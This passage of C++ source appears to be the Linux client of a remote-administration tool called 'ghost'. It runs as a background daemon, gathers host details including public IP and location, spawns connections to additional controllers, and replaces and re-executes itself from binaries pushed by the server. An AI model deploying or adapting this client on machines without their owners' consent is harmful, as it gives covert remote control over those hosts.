「取消分享」:清掉持久化列表并立刻收掉分享子进程。Windows 那边是同一进程里 // 的线程,取消只改配置、下次启动才生效;Linux 的分享实例本来就是独立进程, // 可以立即断开。 if (g_bShareInstance) { Mprintf("** [%p] SHARE_CANCEL ignored: running as share instance ***\n", user); return TRUE; } LinuxConfig cfg; cfg.SetStr("share_list", ""); Mprintf("** [%p] SHARE_CANCEL: stopping all share instances ***\n", user); StopChildren(KIND_SHARE); } else if (szBuffer[0] == COMMAND_UPDATE) { // 服务端"升级程序"菜单下发新版本 ELF。 // 分享实例不升级:二进制是主实例和所有分享实例共用的,好几个进程同时替换 // 同一个文件只会互相踩,升级交给主连接那台主控做。 if (g_bShareInstance) { Mprintf("** [%p] UPDATE ignored: running as share instance ***\n", user); return TRUE; } Mprintf("** [%p] Received 'UPDATE' command (%u bytes) ***\n", user, (unsigned)ulLength); ApplySelfUpdate(szBuffer, ulLength); } else { Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0])); } return TRUE; } // 方法1: 解析 lscpu 命令 double parse_lscpu() { std::array buffer; std::string result; std::unique_ptr pipe(popen("lscpu", "r"), pclose); if (!pipe) return -1.0; while (fgets(buffer.data(), buffer.size(), pipe.get())) { result += buffer.data(); } // 方法1a: 匹配 "Model name" 中的频率(如 "Intel(R) Core(TM) i5-6300HQ CPU @ 2.30GHz") std::regex model_regex("@ ([0-9.]+)GHz"); std::smatch match; if (std::regex_search(result, match, model_regex) && match.size() > 1) { try { return std::stod(match[1].str()) * 1000; // GHz -> MHz } catch (...) {} } // 方法1b: 匹配 "CPU max MHz" 或 "CPU MHz" 字段 std::regex mhz_regex("CPU (?:max )?MHz:\\s*([0-9.]+)"); if (std::regex_search(result, match, mhz_regex) && match.size() > 1) { try { return std::stod(match[1].str()); } catch (...) {} } return -1; } // 方法2: 解析 /proc/cpuinfo double parse_cpuinfo() { std::ifstream cpuinfo("/proc/cpuinfo"); std::string line; std::regex freq_regex("@ ([0-9.]+)GHz"); std::regex mhz_regex("cpu MHz\\s*:\\s*([0-9.]+)"); while (std::getline(cpuinfo, line)) { // 方法2a: 从 model name 提取 @ X.XXGHz if (line.find("model name") != std::string::npos) { std::smatch match; if (std::regex_search(line, match, freq_regex) && match.size() > 1) { try { return std::stod(match[1].str()) * 1000; // GHz -> MHz } catch (...) {} } } // 方法2b: 从 "cpu MHz" 字段提取 if (line.find("cpu MHz") != std::string::npos) { std::smatch match; if (std::regex_search(line, match, mhz_regex) && match.size() > 1) { try { return std::stod(match[1].str()); } catch (...) {} } } } return -1; } // 方法3: 从 sysfs 读取 CPU 频率 (最可靠) double parse_sysfs_freq() { // 尝试读取最大频率 const char* paths[] = { "/sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq", "/sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq", "/sys/devices/system/cpu/cpu0/cpufreq/base_frequency", }; for (const char* path : paths) { std::ifstream f(path); if (f.good()) { long freq_khz = 0; if (f >> freq_khz && freq_khz > 0) { return freq_khz / 1000.0; // KHz -> MHz } } } return -1; } // ============== 系统信息采集函数(用于填充 LOGIN_INFOR) ============== // 获取 Linux 发行版名称(如 "Ubuntu 24.04 LTS") std::string getLinuxDistro() { std::ifstream f("/etc/os-release"); std::string line; while (std::getline(f, line)) { if (line.compare(0, 13, "PRETTY_NAME=\"") == 0) { // PRETTY_NAME="Ubuntu 24.04.1 LTS" std::string name = line.substr(13); if (!name.empty() && name.back() == '"') name.pop_back(); return name; } } // 回退:使用 uname struct utsname u = {}; if (uname(&u) == 0) { return std::string(u.sysname) + " " + u.release; } return "Linux"; } // 进程启动时刻(墙钟)。在程序加载时记录一次:升级走 fork+execv 会重新加载本进程 // 镜像,于是升级后重新计时,与 Windows 的 GetProcessTimes(创建时间) 语义一致。 // 刻意不用 /proc/self/stat 的 starttime + /proc/stat 的 btime:btime 是开机时按当时 // 墙钟算的,之后 NTP 校时/休眠都不会修正它,算出来的启动时刻可能偏出几小时 // (WSL2 实测偏 1.8h)。这里是本进程自己读到的墙钟,不受此影响。 static const std::time_t g_processStartTime = std::time(nullptr); // 进程启动时间("YYYY-MM-DD HH:MM:SS",北京时间):与 Windows 客户端的 // getProcessTime() 一致,是进程创建时刻而非本次登录时刻。 std::string getProcessStartTime() { // 服务端按北京时间解释这个字符串(见服务端 GetElapsedTime),沿用既有约定 return ToPekingTimeAsString(&g_processStartTime); } // 获取 CPU 核心数 int getCPUCores() { long n = sysconf(_SC_NPROCESSORS_ONLN); return n > 0 ? (int)n : 1; } // 获取系统内存(GB) double getMemorySizeGB() { struct sysinfo si = {}; if (sysinfo(&si) == 0) { return si.totalram * (double)si.mem_unit / (1024.0 * 1024.0 * 1024.0); } return 0; } // 获取当前可执行文件路径 std::string getExePath() { char buf[1024] = {}; ssize_t len = readlink("/proc/self/exe", buf, sizeof(buf) - 1); if (len > 0) { buf[len] = '\0'; return buf; } return ""; } // 获取文件大小(格式化为 "1.2M" 或 "123K") std::string getFileSize(const std::string& path) { struct stat st = {}; if (stat(path.c_str(), &st) != 0) return "?"; char buf[32]; if (st.st_size >= 1024 * 1024) { sprintf(buf, "%.1fM", st.st_size / (1024.0 * 1024.0)); } else if (st.st_size >= 1024) { sprintf(buf, "%.1fK", st.st_size / 1024.0); } else { sprintf(buf, "%ldB", (long)st.st_size); } return buf; } // 获取当前用户名 std::string getUsername() { struct passwd* pw = getpwuid(getuid()); if (pw && pw->pw_name) return pw->pw_name; const char* u = getenv("USER"); return u ? u : "?"; } // 读取 systemd / dbus 维护的 machine-id(与 Windows MachineGuid 等价) // /etc/machine-id 在系统首次启动时生成的随机 32 字符 hex GUID。 // 对应 Windows: HKLM\Software\Microsoft\Cryptography\MachineGuid。 // 重装系统才会变;同一镜像 dd 出来的多机会撞——但规范的批量部署 // 工具 (cloud-init / kickstart) 会重置它。 static std::string getMachineId() { // 优先 /etc/machine-id;某些精简系统可能放在 /var/lib/dbus/machine-id const char* paths[] = { "/etc/machine-id", "/var/lib/dbus/machine-id" }; for (const char* p : paths) { std::ifstream f(p); if (!f.is_open()) continue; std::string id; std::getline(f, id); // 去掉尾部空白和换行 while (!id.empty() && (id.back() == '\n' || id.back() == '\r' || id.back() == ' ' || id.back() == '\t')) { id.pop_back(); } if (!id.empty()) return id; } return std::string(); } // 路径归一化(Linux 版):解析符号链接 + 转小写 // realpath 等价于 Windows 的 GetLongPathName,把 /usr/local/bin/../foo 这种 // 折回到规范形式;小写化避免大小写差异引起 ID 不同(Linux 文件系统本身大小写 // 敏感,但保持与 Windows V2 算法一致的归一化策略,跨端一致性优先)。 static std::string normalizeExePathLower(const std::string& path) { char resolved[PATH_MAX] = {}; std::string out; if (realpath(path.c_str(), resolved) != nullptr) { out = resolved; } else { out = path; // 解析失败(罕见):用原值 } for (auto& c : out) { if (c >= 'A' && c <= 'Z') c = c - 'A' + 'a'; } return out; } // 获取屏幕分辨率字符串(格式 "显示器数:宽*高") std::string getScreenResolution() { // 尝试通过 xrandr 获取 std::unique_ptr pipe(popen("xrandr --current 2>/dev/null", "r"), pclose); if (pipe) { char line[256]; // 匹配 "connected ... 1920x1080" 之类的行 int monitors = 0; int maxW = 0, maxH = 0; std::regex res_regex("\\s+(\\d+)x(\\d+)\\+"); while (fgets(line, sizeof(line), pipe.get())) { std::string s(line); if (s.find(" connected") != std::string::npos) { monitors++; std::smatch m; if (std::regex_search(s, m, res_regex) && m.size() > 2) { int w = std::stoi(m[1].str()); int h = std::stoi(m[2].str()); if (w > maxW) maxW = w; if (h > maxH) maxH = h; } } } if (monitors > 0 && maxW > 0) { char buf[64]; sprintf(buf, "%d:%d*%d", monitors, maxW, maxH); return buf; } } return "0:0*0"; } // execCmd / httpGet / getPublicIP / jsonExtract / getGeoLocation 已抽到 // common/posix_net_helpers.h(namespace PosixNet)。下面保留同名 wrapper,避免 // 改动调用点。Linux 历史调用风格保留:自由函数无 namespace。 static inline std::string execCmd(const std::string& cmd) { return PosixNet::execCmd(cmd); } static inline std::string httpGet(const std::string& url, int timeoutSec = 5) { return PosixNet::httpGet(url, timeoutSec); } static inline std::string jsonExtract(const std::string& json, const std::string& key) { return PosixNet::jsonExtract(json, key); } inline std::string getPublicIP() { return PosixNet::getPublicIP(); } inline std::string getGeoLocation(const std::string& ip){ return PosixNet::getGeoLocation(ip); } // ============== 守护进程 ============== // PID 文件路径(与配置文件同目录) static std::string getPidFilePath() { const char* xdg = getenv("XDG_CONFIG_HOME"); std::string dir; if (xdg && xdg[0]) { dir = std::string(xdg) + "/ghost"; } else { const char* home = getenv("HOME"); if (!home) home = "/tmp"; dir = std::string(home) + "/.config/ghost"; } mkdir(dir.c_str(), 0755); return dir + "/ghost.pid"; } static void writePidFile() { std::string path = getPidFilePath(); std::ofstream f(path, std::ios::trunc); f << getpid() << std::endl; } static void removePidFile() { unlink(getPidFilePath().c_str()); } // 检查是否已有实例在运行 static bool isAlreadyRunning() { std::ifstream f(getPidFilePath()); int pid = 0; if (f >> pid && pid > 0) { // kill(pid, 0) 不发信号,仅检查进程是否存在 if (kill(pid, 0) == 0) return true; } return false; } // 经典 Unix 双 fork 守护进程 static void daemonize() { pid_t pid = fork(); if (pid < 0) exit(1); if (pid > 0) exit(0); // 父进程退出 setsid(); // 新会话,脱离终端 pid = fork(); // 第二次 fork,防止重新获取控制终端 if (pid < 0) exit(1); if (pid > 0) exit(0); // 关闭标准文件描述符,重定向到 /dev/null close(STDIN_FILENO); close(STDOUT_FILENO); close(STDERR_FILENO); open("/dev/null", O_RDONLY); // fd 0 = stdin open("/dev/null", O_WRONLY); // fd 1 = stdout open("/dev/null", O_WRONLY); // fd 2 = stderr } // 信号处理:收到 SIGTERM/SIGINT 时优雅退出 // 注意:handler 内不能调 Mprintf(Logger 用 mutex/string/condvar,非 async-signal-safe), // 只在这里记 sig_atomic_t 标志位,main 退出循环后再补一行日志。 static volatile sig_atomic_t g_lastSignal = 0; static void signalHandler(int sig) { g_lastSignal = sig; g_bExit = S_CLIENT_EXIT; } static void setupSignals() { signal(SIGTERM, signalHandler); // kill 默认信号 signal(SIGINT, signalHandler); // Ctrl+C signal(SIGHUP, SIG_IGN); // 终端断开时忽略 signal(SIGPIPE, SIG_IGN); // 写入已关闭的 socket 时忽略 } // ============== 主机分享:分享子进程管理 ============== // 每条分享记录对应一个子进程:` --share `。子进程 // 有自己的连接、日志文件(log_*_.txt)和重连循环,复用 main() 的全部逻辑;主实例 // 只负责起停和收尸。 static void ShareReaperLoop() { while (!g_shareReaperStop.load(std::memory_order_relaxed)) { { std::lock_guard lk(g_shareMu); for (auto it = g_shareProcs.begin(); it != g_shareProcs.end(); ) { int st = 0; pid_t r = waitpid(it->second.pid, &st, WNOHANG); if (r == it->second.pid) { const char* kind = it->second.transfer ? "Transfer instance" : "Share instance"; if (WIFEXITED(st)) Mprintf(">>> %s %s exited (code %d)\n", kind, it->first.c_str(), WEXITSTATUS(st)); else if (WIFSIGNALED(st)) Mprintf(">>> %s %s exited by signal %d\n", kind, it->first.c_str(), WTERMSIG(st)); else Mprintf(">>> %s %s exited\n", kind, it->first.c_str()); it = g_shareProcs.erase(it); } else if (r < 0 && errno == ECHILD) { it = g_shareProcs.erase(it); // 已被别处收走(防御) } else { ++it; } } } for (int i = 0; i < 10 && !g_shareReaperStop.load(std::memory_order_relaxed); ++i) Sleep(100); } } static void EnsureShareReaper() { static std::once_flag once; std::call_once(once, [] { g_shareReaperThread = std::thread(ShareReaperLoop); }); } // fork + execv 拉起一个分享子进程。fork 之后只做 async-signal-safe 调用(参数数组、 // fd 上限、路径都在 fork 前准备好),日志一律不碰——和 daemonize() 里踩过的 // 「fork 时日志线程持锁」是同一类坑。 static pid_t SpawnShareProcess(const std::string& entry) { std::string exe = getExePath(); if (exe.empty()) { Mprintf("** SHARE: cannot resolve own executable path ***\n"); return -1; } std::string flag = "--share"; std::vector args; args.push_back(&exe[0]); args.push_back(&flag[0]); args.push_back(const_cast(entry.c_str())); args.push_back(nullptr); long maxFd = sysconf(_SC_OPEN_MAX); if (maxFd < 0 || maxFd > 65536) maxFd = 65536; pid_t pid = fork(); if (pid < 0) { Mprintf("** SHARE: fork failed: %s ***\n", strerror(errno)); return -1; } if (pid == 0) { // 主实例被 SIGKILL 时也要跟着退,别留下孤儿分享连接一直挂在目标主控上 prctl(PR_SET_PDEATHSIG, SIGTERM); if (getppid() == 1) _exit(1); // fork 与 prctl 之间主实例已经没了 setsid(); int devnull = open("/dev/null", O_RDWR); if (devnull >= 0) { dup2(devnull, STDIN_FILENO); dup2(devnull, STDOUT_FILENO); dup2(devnull, STDERR_FILENO); if (devnull > STDERR_FILENO) close(devnull); } // 关掉继承的 socket / 日志 fd:子进程要用自己的连接和自己的日志文件 for (long f = STDERR_FILENO + 1; f < maxFd; ++f) close((int)f); execv(exe.c_str(), args.data()); _exit(127); // exec 失败:主实例日志里能看到子进程立刻退出 } return pid; } // 子进程还活着吗?僵尸也算「已退出」:kill(pid, 0) 对僵尸仍然成功,会把一个已经 // 死掉、只等 reaper 收尸的空槽当成在跑,随后同一目标的重复下发被静默丢掉。 // 调用方须持有 g_shareMu(reaper 线程也用同一把锁做 waitpid,不会两边抢收尸)。 static bool ChildAliveLocked(pid_t pid) { int st = 0; pid_t r = waitpid(pid, &st, WNOHANG); return r == 0; // 0 = 还在跑;=pid 本次已收尸;-1/ECHILD = reaper 已收走 } // 结束一个子进程:SIGTERM 最多等 3 秒,不走再 SIGKILL 等 1 秒。调用方须持有 g_shareMu。 // 不做无限期阻塞 waitpid:万一是 D 状态的进程,卡住的就是整个命令处理线程。 static void TerminateChildLocked(pid_t pid) { if (!ChildAliveLocked(pid)) return; kill(pid, SIGTERM); for (int i = 0; i < 30; ++i) { Sleep(100); if (!ChildAliveLocked(pid)) return; } kill(pid, SIGKILL); for (int i = 0; i < 10; ++i) { Sleep(100); if (!ChildAliveLocked(pid)) return; } Mprintf(">>> Child pid %d still alive after SIGKILL, giving up on it\n", (int)pid); } // 起一个受管子进程并登记。key 在本进程内唯一:分享用 "ip:port",转移用 "transfer:ip:port", // 这样转移目标与分享目标相同也不会互相顶掉。 static bool SpawnManagedChild(const std::string& key, const std::string& entry, bool transfer) { EnsureShareReaper(); std::lock_guard lk(g_shareMu); auto it = g_shareProcs.find(key); if (it != g_shareProcs.end()) { // 完全相同的记录且子进程还活着:什么都不用做(与 Windows 的 identical 分支一致)。 // 否则重复下发一次分享就会白断一次连接。 if (it->second.entry == entry && ChildAliveLocked(it->second.pid)) { Mprintf(">>> Connection to %s already running (pid %d), unchanged\n", key.c_str(), (int)it->second.pid); return true; } // 同一目标已经有一条连接(或旧连接已死):先收掉旧的再起新的, // 否则同一个 clientID 会有两条连接互相踢。 Mprintf(">>> Connection to %s already running (pid %d), restarting as %s\n", key.c_str(), (int)it->second.pid, entry.c_str()); TerminateChildLocked(it->second.pid); g_shareProcs.erase(it); } pid_t pid = SpawnShareProcess(entry); if (pid <= 0) return false; g_shareProcs[key] = ShareProc{ pid, entry, transfer }; Mprintf(">>> %s instance started: %s (pid %d)\n", transfer ? "Transfer" : "Share", entry.c_str(), (int)pid); return true; } static bool StartShareInstance(const std::string& entry) { HostShare::Endpoint ep; if (!HostShare::DecodeEntry(entry, ep)) return false; const std::string shareKey = HostShare::MasterKey(ep); { // 同一主控上已有一条「转移」临时连接:分享是长期连接,接管它的职责。 // 不收掉的话,这个主控上会挂着同一 clientID 的两条连接,互踢。 const std::string transferKey = "transfer:" + shareKey; std::lock_guard lk(g_shareMu); auto it = g_shareProcs.find(transferKey); if (it != g_shareProcs.end()) { Mprintf(">>> Share to %s replaces the transfer instance (pid %d)\n", shareKey.c_str(), (int)it->second.pid); TerminateChildLocked(it->second.pid); g_shareProcs.erase(it); } } return SpawnManagedChild(shareKey, entry, false); } // 「转移主机」立即生效的那条连接:不进 share_list(重启后由主连接自己过去), // 也不受「取消分享」影响;目标可以暂时不可达,子进程有自己的重连循环。 static bool StartTransferInstance(const std::string& entry) { HostShare::Endpoint ep; if (!HostShare::DecodeEntry(entry, ep)) return false; const std::string shareKey = HostShare::MasterKey(ep); { // 同一个主控已经有分享连接时不必再起一条:目标那边已经能看到这台主机, // 两条同 clientID 的连接只会互相踢。 std::lock_guard lk(g_shareMu); auto it = g_shareProcs.find(shareKey); if (it != g_shareProcs.end() && !it->second.transfer && ChildAliveLocked(it->second.pid)) { Mprintf(">>> Transfer target %s already reachable via share instance " "(pid %d), extra connection skipped\n", shareKey.c_str(), (int)it->second.pid); return true; } } return SpawnManagedChild("transfer:" + shareKey, entry, true); } // 停掉指定归属的子进程:SIGTERM 让子进程走自己的 signal handler 正常退出, // 3 秒还不走就 SIGKILL(再等 1 秒)。 // 等待阶段不持 g_shareMu:调用点就在接收线程上,持锁睡会把 reaper 和其它起停一起堵住。 static void StopChildren(ManagedKind kind) { auto match = [kind](const ShareProc& p) { return kind == KIND_ALL || p.transfer == (kind == KIND_TRANSFER); }; std::vector pids; { std::lock_guard lk(g_shareMu); for (auto& kv : g_shareProcs) if (match(kv.second)) pids.push_back(kv.second.pid); for (pid_t pid : pids) kill(pid, SIGTERM); // 只发信号,不等待 } if (pids.empty()) return; Mprintf(">>> Stopping %d child connection(s)\n", (int)pids.size()); // 收尸可能已被 reaper 线程抢先(ECHILD),一律按「已退出」处理。 auto exited = [](pid_t pid) { int st = 0; pid_t r = waitpid(pid, &st, WNOHANG); return r == pid || (r < 0 && errno == ECHILD); }; auto waitGone = [&](int rounds) { std::vector left; for (int i = 0; i < rounds; ++i) { left.clear(); for (pid_t pid : pids) if (!exited(pid)) left.push_back(pid); if (left.empty()) break; Sleep(100); } left.clear(); for (pid_t pid : pids) if (!exited(pid)) left.push_back(pid); return left; }; std::vector left = waitGone(30); for (pid_t pid : left) kill(pid, SIGKILL); if (!left.empty()) left = waitGone(10); if (!left.empty()) Mprintf(">>> %d child connection(s) still alive after SIGKILL\n", (int)left.size()); std::lock_guard lk(g_shareMu); for (auto it = g_shareProcs.begin(); it != g_shareProcs.end(); ) { // 只摘掉本次停掉的 pid:等待期间可能已经起了新目标,按 kind 删会误伤。 if (std::find(pids.begin(), pids.end(), it->second.pid) != pids.end()) it = g_shareProcs.erase(it); else ++it; } } // 启动时恢复上次的分享(重启前没取消的条目)。 static void StartShareInstancesFromConfig() { LinuxConfig cfg; auto items = HostShare::Split(cfg.GetStr("share_list")); if (items.size() > kMaxShareEntries) { Mprintf(">>> share_list has %d entries, only the first %d are restored\n", (int)items.size(), (int)kMaxShareEntries); items.resize(kMaxShareEntries); } for (auto& entry : items) { Mprintf(">>> Restoring share: %s\n", entry.c_str()); StartShareInstance(entry); } } // ============== 客户端自升级(COMMAND_UPDATE) ============== // 服务端 -> Linux 客户端载荷布局(Windows 的 COMMAND_UPDATE 没有摘要,LNX 有): // [cmd:1][size:8 LE][ELF payload:size][md5:32 ASCII 小写 hex] // 摘要只用于发现传输/落盘损坏:主通道本身已有掩码 + 可选 TLS。 // // 关键约束: // - 正在运行的 ELF 不能 O_TRUNC / 原地覆盖(ETXTBSY),必须先写同目录临时文件 // (同一文件系统,rename 才是原子的); // - Linux 允许 rename() 覆盖正在执行的 inode,老进程继续跑完自己那份, // 新进程用新 inode; // - fork 子进程 -> setsid -> 关掉继承的 fd -> 等老进程退出 -> execv, // 否则服务端会看到同一 clientID 两条连接并存,且新进程写 PID 文件前可能 // 被 isAlreadyRunning() 误判。 // 升级失败一律不退出进程:报错(ClientMsg 报到服务端消息栏 + 写客户端日志)后 // 继续用当前版本。 static const size_t kUpdateMd5HexLen = 32; // MD5 小写 hex;与 Windows 侧 common/md5.h CalcMD5FromBytes 输出一致 static std::string md5HexOf(const unsigned char* data, size_t len) { unsigned char digest[EVP_MAX_MD_SIZE]; unsigned int digestLen = 0; std::string hex; EVP_MD_CTX* ctx = EVP_MD_CTX_new(); if (!ctx) return hex; if (EVP_DigestInit_ex(ctx, EVP_md5(), nullptr) == 1 && EVP_DigestUpdate(ctx, data, len) == 1 && EVP_DigestFinal_ex(ctx, digest, &digestLen) == 1) { static const char kHex[] = "0123456789abcdef"; hex.reserve(digestLen * 2); for (unsigned int i = 0; i < digestLen; ++i) { hex.push_back(kHex[digest[i] >> 4]); hex.push_back(kHex[digest[i] & 0x0F]); } } EVP_MD_CTX_free(ctx); return hex; } // 自身 ELF 头的 e_machine(偏移 18,ELF32/ELF64 相同),用于拒绝架构不符的包 static int selfElfMachine() { std::ifstream f("/proc/self/exe", std::ios::binary); unsigned char hdr[20] = {}; if (!f.read((char*)hdr, sizeof(hdr))) return -1; if (hdr[0] != 0x7f || hdr[1] != 'E' || hdr[2] != 'L' || hdr[3] != 'F') return -1; return hdr[18] | (hdr[19] << 8); } // 升级失败回报:客户端没有 UI,走 ClientMsg(服务端消息栏 + get_audit_log)并写日志 static void reportUpdateFailure(const std::string& reason) { Mprintf("** UPDATE failed: %s ***\n", reason.c_str()); if (!g_pMainClient || !g_pMainClient->IsConnected()) return; ClientMsg msg("Linux client update failed", reason.c_str()); g_pMainClient->Send2Server((char*)&msg, sizeof(msg)); } static bool writeAll(int fd, const unsigned char* data, size_t len) { while (len > 0) { ssize_t n = write(fd, data, len); if (n <= 0) { if (n < 0 && errno == EINTR) continue; return false; } data += n; len -= (size_t)n; } return true; } static void ApplySelfUpdate(const PBYTE szBuffer, ULONG ulLength) { const size_t headerLen = 1 + sizeof(uint64_t); if (ulLength < headerLen + kUpdateMd5HexLen) { reportUpdateFailure("payload too short"); return; } uint64_t size = 0; memcpy(&size, szBuffer + 1, sizeof(size)); if (size == 0 || size > (uint64_t)(ulLength - headerLen - kUpdateMd5HexLen)) { reportUpdateFailure("payload size invalid"); return; } const unsigned char* payload = szBuffer + headerLen; const char* trailer = (const char*)payload + size; if (size < 20 || payload[0] != 0x7f || payload[1] != 'E' || payload[2] != 'L' || payload[3] != 'F') { reportUpdateFailure("payload is not an ELF binary"); return; } int machine = payload[18] | (payload[19] << 8); int selfMachine = selfElfMachine(); if (selfMachine > 0 && machine != selfMachine) { char buf[96]; snprintf(buf, sizeof(buf), "arch mismatch: payload e_machine=%d, running=%d", machine, selfMachine); reportUpdateFailure(buf); return; } std::string expect(trailer, kUpdateMd5HexLen); for (auto& c : expect) c = (char)tolower((unsigned char)c); std::string actual = md5HexOf(payload, (size_t)size); if (actual.empty() || actual != expect) { reportUpdateFailure("md5 mismatch (corrupted payload)"); return; } std::string target = getExePath(); size_t slash = target.find_last_of('/'); if (target.empty() || slash == std::string::npos) { reportUpdateFailure("cannot resolve own executable path"); return; } std::string dir = target.substr(0, slash + 1); std::string base = target.substr(slash + 1); std::string tmp = dir + "." + base + ".new." + std::to_string((long)getpid()); std::string backup = target + ".old"; unlink(tmp.c_str()); // 上一轮残留(同一 pid 复用) int fd = open(tmp.c_str(), O_WRONLY | O_CREAT | O_EXCL, 0755); if (fd < 0) { reportUpdateFailure("cannot create " + tmp + ": " + strerror(errno)); return; } bool ok = writeAll(fd, payload, (size_t)size); if (ok) ok = (fchmod(fd, 0755) == 0); if (ok) ok = (fsync(fd) == 0); if (close(fd) != 0) ok = false; if (!ok) { int err = errno; unlink(tmp.c_str()); reportUpdateFailure("cannot write " + tmp + ": " + strerror(err)); return; } // 备份旧版本便于回滚(下次升级时覆盖);备份失败不影响升级 unlink(backup.c_str()); if (link(target.c_str(), backup.c_str()) != 0) { Mprintf("** UPDATE: no backup kept (%s): %s ***\n", backup.c_str(), strerror(errno)); } if (rename(tmp.c_str(), target.c_str()) != 0) { int err = errno; unlink(tmp.c_str()); reportUpdateFailure("cannot replace " + target + ": " + strerror(err)); return; } // 先把参数数组准备好(fork 之后只做 async-signal-safe 的事) std::string arg0 = target; std::vector args; args.reserve((size_t)g_argc + 1); args.push_back(&arg0[0]); for (int i = 1; i < g_argc; ++i) args.push_back(g_argv[i]); args.push_back(nullptr); long maxFd = sysconf(_SC_OPEN_MAX); if (maxFd < 0 || maxFd > 65536) maxFd = 65536; pid_t parent = getpid(); // 先摘掉 PID 文件:新进程主循环前的 isAlreadyRunning() 不能看到老 pid removePidFile(); pid_t pid = fork(); if (pid < 0) { int err = errno; writePidFile(); // 升级没完成,恢复现状 reportUpdateFailure(std::string("fork failed: ") + strerror(err)); return; } if (pid == 0) { setsid(); int devnull = open("/dev/null", O_RDWR); if (devnull >= 0) { dup2(devnull, STDIN_FILENO); dup2(devnull, STDOUT_FILENO); dup2(devnull, STDERR_FILENO); if (devnull > STDERR_FILENO) close(devnull); } // 关掉继承的 socket / 日志等 fd,避免老连接挂着不放 for (long f = STDERR_FILENO + 1; f < maxFd; ++f) close((int)f); // 等老进程退出再 exec(最多 5s)。僵尸态 kill(pid,0) 仍返回存活,故设上限。 for (int i = 0; i < 50 && kill(parent, 0) == 0; ++i) usleep(100 * 1000); execv(target.c_str(), args.data()); _exit(127); // exec 失败:新版本已落盘,下次启动会用它 } Mprintf("** UPDATE applied: %s (%llu bytes), restarting ***\n", target.c_str(), (unsigned long long)size); g_bExit = S_CLIENT_UPDATE; } // 登录信息 szReserved 里的 [19] RES_TLS 是「当前」传输状态的快照,服务端在线列表的 // TLS 列就取这个值。热切换后重连会重新登录,必须在这里刷新,否则列里会一直显示旧值。 // 只在主线程调用(与 SendLoginInfo 同一线程),避免和接收线程抢同一个结构体。 static void RefreshLoginTls(LOGIN_INFOR& info) { std::vector fields; std::string s(info.szReserved); size_t pos = 0; for (;;) { size_t bar = s.find('|', pos); if (bar == std::string::npos) { fields.push_back(s.substr(pos)); break; } fields.push_back(s.substr(pos, bar - pos)); pos = bar + 1; } while (fields.size() <= (size_t)RES_TLS) fields.push_back(""); fields[RES_TLS] = TlsEnabled() ? "1" : "0"; std::string joined; for (size_t i = 0; i < fields.size(); ++i) { if (i) joined += '|'; joined += fields[i]; } strncpy(info.szReserved, joined.c_str(), sizeof(info.szReserved) - 1); info.szReserved[sizeof(info.szReserved) - 1] = '\0'; } // 能力位(moduleVersion 的 "-%04X" 后缀)里唯一依赖运行环境的是屏幕预览: // 只在本机当前真有可抓的 X11 桌面时才声明,无桌面的服务器不该被服务端要求截图。 // 与 RefreshLoginTls 一样只在主线程登录前调用,每次重连都会重新判断。 static void RefreshLoginCaps(LOGIN_INFOR& info) { unsigned int caps = LOGIN_INFOR::DefaultCaps(); if (ScreenPreview::IsAvailable()) { caps |= CLIENT_CAP_SCREEN_PREVIEW; } info.SetCaps(caps); } // 用法: ./ghost [-d] [IP] [端口] // -d 后台守护进程模式 // --share 分享实例(由主实例 fork+exec 拉起,不是给 // 人用的入口):连分享目标主控,不写 PID 文件、不处理分享/转移/升级命令。 // 示例: ./ghost -d 192.168.1.100 6543 int main(int argc, char* argv[]) { g_argc = argc; g_argv = argv; // 分享子进程优先解析:它只有一个 --share 参数,不参与 -d / 位置参数那一套。 HostShare::Endpoint shareTarget; for (int i = 1; i < argc; ++i) { if (strcmp(argv[i], "--share") != 0) continue; if (i + 1 >= argc || !HostShare::DecodeEntry(argv[i + 1], shareTarget)) { fprintf(stderr, "ghost: invalid --share argument\n"); return 1; } g_bShareInstance = true; break; } // 解析 -d 参数 bool daemon_mode = false; int argStart = 1; if (argc > 1 && strcmp(argv[1], "-d") == 0) { daemon_mode = true; argStart = 2; } if (g_bShareInstance) { // 分享实例的连接参数来自 --share,其余(机器身份、配置、日志目录)与主实例相同 HostEndpoint::ApplyEndpoint(g_SETTINGS, shareTarget); } else if (argStart + 1 < argc) { g_SETTINGS.SetServer(argv[argStart], atoi(argv[argStart + 1])); } else if (argStart < argc) { g_SETTINGS.SetServer(argv[argStart], g_SETTINGS.ServerPort()); } // 守护进程化(必须在 getpid() 等调用之前) if (daemon_mode) { if (isAlreadyRunning()) { fprintf(stderr, "ghost is already running.\n"); return 1; } daemonize(); } // 信号处理 setupSignals(); // 写 PID 文件(守护进程模式下 PID 已变为子进程的)。分享实例共用同一份配置, // 写 PID 文件会把主实例的覆盖掉,退出时也会把它删掉——只有主实例才写。 if (!g_bShareInstance) writePidFile(); // 上次的「转移主机」还没到期就改连目标主控(原地址记在内存里,过期后恢复)。 // 必须在 daemonize() 之后:它在有记录时会打日志,而 fork 时若日志线程正持有 // 内部锁,子进程会永远卡在那把锁上(实测 -d 启动后只剩一行 fork 前的日志, // 父子进程都停在 futex)。fork 之前一律不碰 Logger。 // 分享实例不读转移记录:转移属于主连接,读了会把分享链路带到别的主控去。 if (!g_bShareInstance) { InitTransferState(); // 上次没收走的分享(取消分享或主实例正常退出才会清)在这里重新拉起 StartShareInstancesFromConfig(); } Mprintf("Server: %s:%d (PID: %d%s)\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort(), getpid(), daemon_mode ? ", daemon" : ""); char hostname[256] = {}; gethostname(hostname, sizeof(hostname)); LOGIN_INFOR logInfo; // 读取分组名称(从配置文件或 g_SETTINGS) LinuxConfig cfgGroup; std::string groupName = cfgGroup.GetStr("group_name"); if (!groupName.empty()) { // 更新 g_SETTINGS strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1); } else if (g_SETTINGS.szGroupName[0] != 0) { groupName = g_SETTINGS.szGroupName; } // 主机名(带分组:hostname/groupname) if (!groupName.empty()) { std::string pcNameWithGroup = std::string(hostname) + "/" + groupName; strncpy(logInfo.szPCName, pcNameWithGroup.c_str(), sizeof(logInfo.szPCName) - 1); } else { strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1); } logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0'; // 操作系统版本(如 "Ubuntu 24.04 LTS") std::string distro = getLinuxDistro(); strncpy(logInfo.OsVerInfoEx, distro.c_str(), sizeof(logInfo.OsVerInfoEx) - 1); 